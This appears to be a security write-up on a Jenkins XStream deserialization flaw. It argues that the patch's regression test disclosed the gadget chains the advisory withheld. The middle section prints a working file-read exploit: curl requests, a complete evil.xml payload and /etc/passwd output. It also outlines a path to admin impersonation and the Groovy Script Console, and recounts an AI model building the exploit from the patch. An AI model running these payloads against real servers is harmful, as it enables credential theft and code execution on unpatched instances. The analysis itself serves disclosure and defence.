The Jenkins security advisory for CVE-2026-53435, published 2026-06-10, describes deserialization through an attacker-supplied config.xml and closes the relevant paragraph with the sentence "There are likely other ways to exploit this vulnerability, and the above list is not exhaustive." The patch commit that fixes the bug is signed by Daniel Beck eight days earlier, on 2026-06-02, public on github.com/jenkinsci/jenkins as 345a3190. Among the seven files it touches, one is new: test/src/test/java/jenkins/security/Security3707Test.java. The advisory refused to publish the gadget chain. The same project committed it as Java the CI runs on every PR.
CVE-2026-53435: Jenkins Withheld The Gadget. The Patch Committed `Security3707Test.java` Eight Days Earlier.
vendor
patterns
cve
proof of concept
Security3707Test.java is the disclosure
The new test file in the patch is a JUnit class that the Jenkins CI runs against the patched build to assert the fix holds. Internally, the test is the bug. It builds two XML payloads that exercise the vulnerability end-to-end, asserts the pre-patch behavior, and asserts the post-patch refusal.
The first payload is the file-read chain. A <hudson.Plugin_-DummyImpl> element with a nested <wrapper class="hudson.PluginWrapper"> whose <baseResourceURL> points at file:///var/jenkins_home/, planted into the properties field of a hudson.model.ListView. Routing into Plugin.doDynamic serves arbitrary files from the controller filesystem.
The second payload is the user-impersonation chain. A jenkins.security.ResourceDomainRootAction$InternalResourceRequest element carrying authenticationName=admin and browserUrl=computer/(built-in)/scriptText. The class is reachable by Stapler routing into the same <properties> slot; its doDynamic method calls User.impersonate2(authenticationName) and then forwards the request to browserUrl under that ACL. The result is a low-privilege user reaching /computer/(built-in)/scriptText as admin, the Script Console endpoint that runs arbitrary Groovy on the controller. The two chains share one root cause and one entry point; they differ only in which class is planted.
Both payloads are present in the same file. Both are runnable. The Jenkins CI runs them on every pull request to confirm the patched build rejects them. The advisory's sentence "the above list is not exhaustive" is the project signaling that other gadget classes exist beyond what the advisory chose to discuss. The test class in the patch is the same project, on the same day, naming two of the entries on the list it refused to publish.
DescribableList does not enforce its element type
The structural bug is one diff inside hudson.util.RobustReflectionConverter. The vulnerable converter looks up an XStream Converter for a field's declared type and, when the field is a DescribableList<T>, returns a generic converter that does not know what T is. The XML elements inside the <properties> tag are then deserialized as whatever class their tag names. The patched converter calls extractElementType against the field's generic signature and constructs a DescribableList.ConverterImpl parameterized on the discovered type.
+ else if (DescribableList.ConverterImpl.canConvertRobust(type)) {
+ Class<?> elementType = extractElementType(field.getGenericType(),
+ DescribableList.class);
+ converter = new DescribableList.ConverterImpl(mapper, elementType);
+ }ListView.properties is declared in source as DescribableList<ViewProperty>. The generic parameter is in the field's Type. The converter never read it. A <hudson.Plugin_-DummyImpl> element inside <properties> survives the location-based ClassFilter (hudson.Plugin$DummyImpl is a Jenkins-core class) and survives the converter (which checks no type). It does not survive the patched converter, which extracts ViewProperty from the generic signature and rejects everything that does not inherit from it.
The same patch hardens InternalResourceRequest directly. A new readResolve method on the class throws SecurityException("Blocked deserialization of InternalResourceRequest for security reasons") so that even a future converter regression cannot ship the impersonation chain. CopyOnWriteList and PluginWrapper receive parallel hardening for the same reason. The patch closes one converter bug and four gadget classes in a single commit.
This is why the chain cannot be a generic ysoserial primitive. Jenkins's ClassFilter insists that every deserialized class lives in jenkins-core or an installed plugin. Apache Commons-Collections gadgets, the historical XStream payload, die at that filter. The gadget has to be a Jenkins-resident type. The first six hours of the published research session that produced the public PoC repo are the AI reading that constraint, trying to bypass it, and failing.
The file-read exploit is four classes long
A low-privilege user with View/Configure and Overall/Read posts a config.xml to createView, then gets the file by walking the Stapler URL into the planted gadget.
curl -u lowpriv:lowpriv123 \
-H "Content-Type: application/xml" \
-H "Jenkins-Crumb: <crumb>" \
--data-binary @evil.xml \
"http://target:8080/createView?name=cve53435"
curl -u lowpriv:lowpriv123 \
"http://target:8080/view/cve53435/properties/0/etc/passwd"
# root:x:0:0:root:/root:/bin/bashevil.xml:
<?xml version='1.1' encoding='UTF-8'?>
<hudson.model.ListView>
<name>cve53435</name>
<properties>
<hudson.Plugin_-DummyImpl>
<wrapper class="hudson.PluginWrapper">
<baseResourceURL>file:/</baseResourceURL>
</wrapper>
</hudson.Plugin_-DummyImpl>
</properties>
<jobNames class="tree-set">
<comparator class="hudson.util.CaseInsensitiveComparator"/>
</jobNames>
<jobFilters/>
<columns/>
<recurse>false</recurse>
</hudson.model.ListView>Four moving parts. hudson.Plugin$DummyImpl is a public inner class in jenkins-core that extends Plugin, included in the project for tests, present in every released JAR. hudson.PluginWrapper.baseResourceURL is a public final URL field that XStream writes to during deserialization. hudson.Plugin.doDynamic(StaplerRequest2, StaplerResponse2) is a routable method that calls getWrapper().baseResourceURL and serves the file at restOfPath. Stapler routing resolves /view/cve53435/properties/0/etc/passwd to ListView.getProperties().get(0).doDynamic(restOfPath = "etc/passwd"). The four ingredients are routine Jenkins code. The bug is that RobustReflectionConverter wires them together when the field's declared type forbade the first ingredient.
/var/jenkins_home/secrets/master.key is in the same filesystem. Decrypting every stored credential on the controller is one more curl. The advisory's CVSS 9.1 is not theoretical.
The advisory and the patch are the same project, eight days apart
Daniel Beck signed commit 345a3190 on 2026-06-02 with the message [SECURITY-3707]. The commit landed on the public jenkinsci/jenkins master branch and stayed there. On 2026-06-10 the project published the advisory at jenkins.io/security/advisory/2026-06-10/ and cut releases LTS 2.555.3 and weekly 2.568. The advisory credits the reporter as dqh1.
During those eight days the public commit named the bug class in its commit message, identified two gadget classes by name in the new test file, and demonstrated both chains end-to-end. It also modified DescribableListTest and added RobustReflectionConverterTest payloads naming hudson.util.RobustReflectionConverterTest_-TypeA as a type-confusion stand-in, so a reader of the patch knew the exact converter primitive without ever needing the gadget classes spelled out. A reader of the public commit log on 2026-06-04 held the working PoC. A reader of the advisory on 2026-06-10 held a paragraph that said "there are likely other ways to exploit this vulnerability, and the above list is not exhaustive."
This is release-lag-disclosure at a much shorter window than the canonical multi-month exhibits, eight days instead of months, but the mechanism is the same: the git log carried the de-facto disclosure during the gap while the package-manager-resolved binaries continued to install the unfixed code. The advisory's withholding language is a defender-protection choice the project's threat model demands. The regression test is a release-engineering practice the project's CI culture demands. The two demands are incompatible. Both demands won. The result is that an attacker reading the open-source patch and a defender reading the open-source advisory are reading the same vendor speaking at the same hour, and only one of them is being shown the chain.
This is patch-test-is-the-disclosure. Wherever a vendor advisory uses the language "the list is not exhaustive", "details withheld for safety", or "we are not publishing the gadget", the patch commit's test/ directory carries the entries the advisory refused to publish. The advisory is documentation. The regression test is code. Vendors who run CI cannot ship the second without admitting what the first said.
What it took to derive without the commit
The public PoC at github.com/AmesianX/CVE-2026-53435 ships, alongside the working exploit, two session transcripts totalling roughly 12,000 lines in English and Korean. The transcripts are sold in the README as "the 8 hours of wrong turns that produced [the exploit]." Read against the patch commit, they are also a record of how much of the chain survives without the commit being opened.
The session opens at 15:00 on Friday 2026-06-12 with a vague advisory and a local Jenkins lab containing both the vulnerable 2.555.2 and the patched 2.555.3 build. The first six hours are the AI reversing the vulnerable jenkins-core: decompiling classes, building gadget candidate lists, trying Commons-Collections chains, hitting ClassFilter, pivoting to Jenkins-resident types, never finding the routing hop. The transcript records the AI refusing, repeatedly, to fabricate a working marker. From round 88:
98% into 0%. A PoC that doesn't reproduce is 100% failure. I won't do that.
At round 116 the AI's summary reads:
Over 116 rounds I've evidenced everything I'm able to. The analysis is ahead of any public material out there (gadget source identified + exploit chain completed + routing lock characterized). But I can't conjure that final routing hop in this environment, and I won't fake it. Setting up monitoring for the patch diff / public PoC is the real solution.
A few user turns later, the researcher types, verbatim:
Hey... the patch is already out, you know.
The AI fetches 345a3190.patch, opens the new file Security3707Test.java, reads two gadget chains by class name, and writes the working file-read exploit in approximately thirty minutes. The transcript records the moment root:x:0:0:root:/root:/bin/bash first prints to the terminal at 23:23 the same Friday.
One hundred and sixteen rounds of blind binary reversal versus thirty minutes of reading the patch commit. The disparity is the pattern made operational. The advisory's withholding worked against a reader who did not open the commit, for ten days, then collapsed in the time it took to git fetch. The patch was public from 2026-06-02. The PoC repo was public from 2026-06-12. Anyone running git log core/src/main/java/hudson/util/RobustReflectionConverter.java against jenkinsci/jenkins in those ten days held the chain.
PoC: AmesianX/CVE-2026-53435.
Withholding the chain required not committing the test. The vendor committed the test.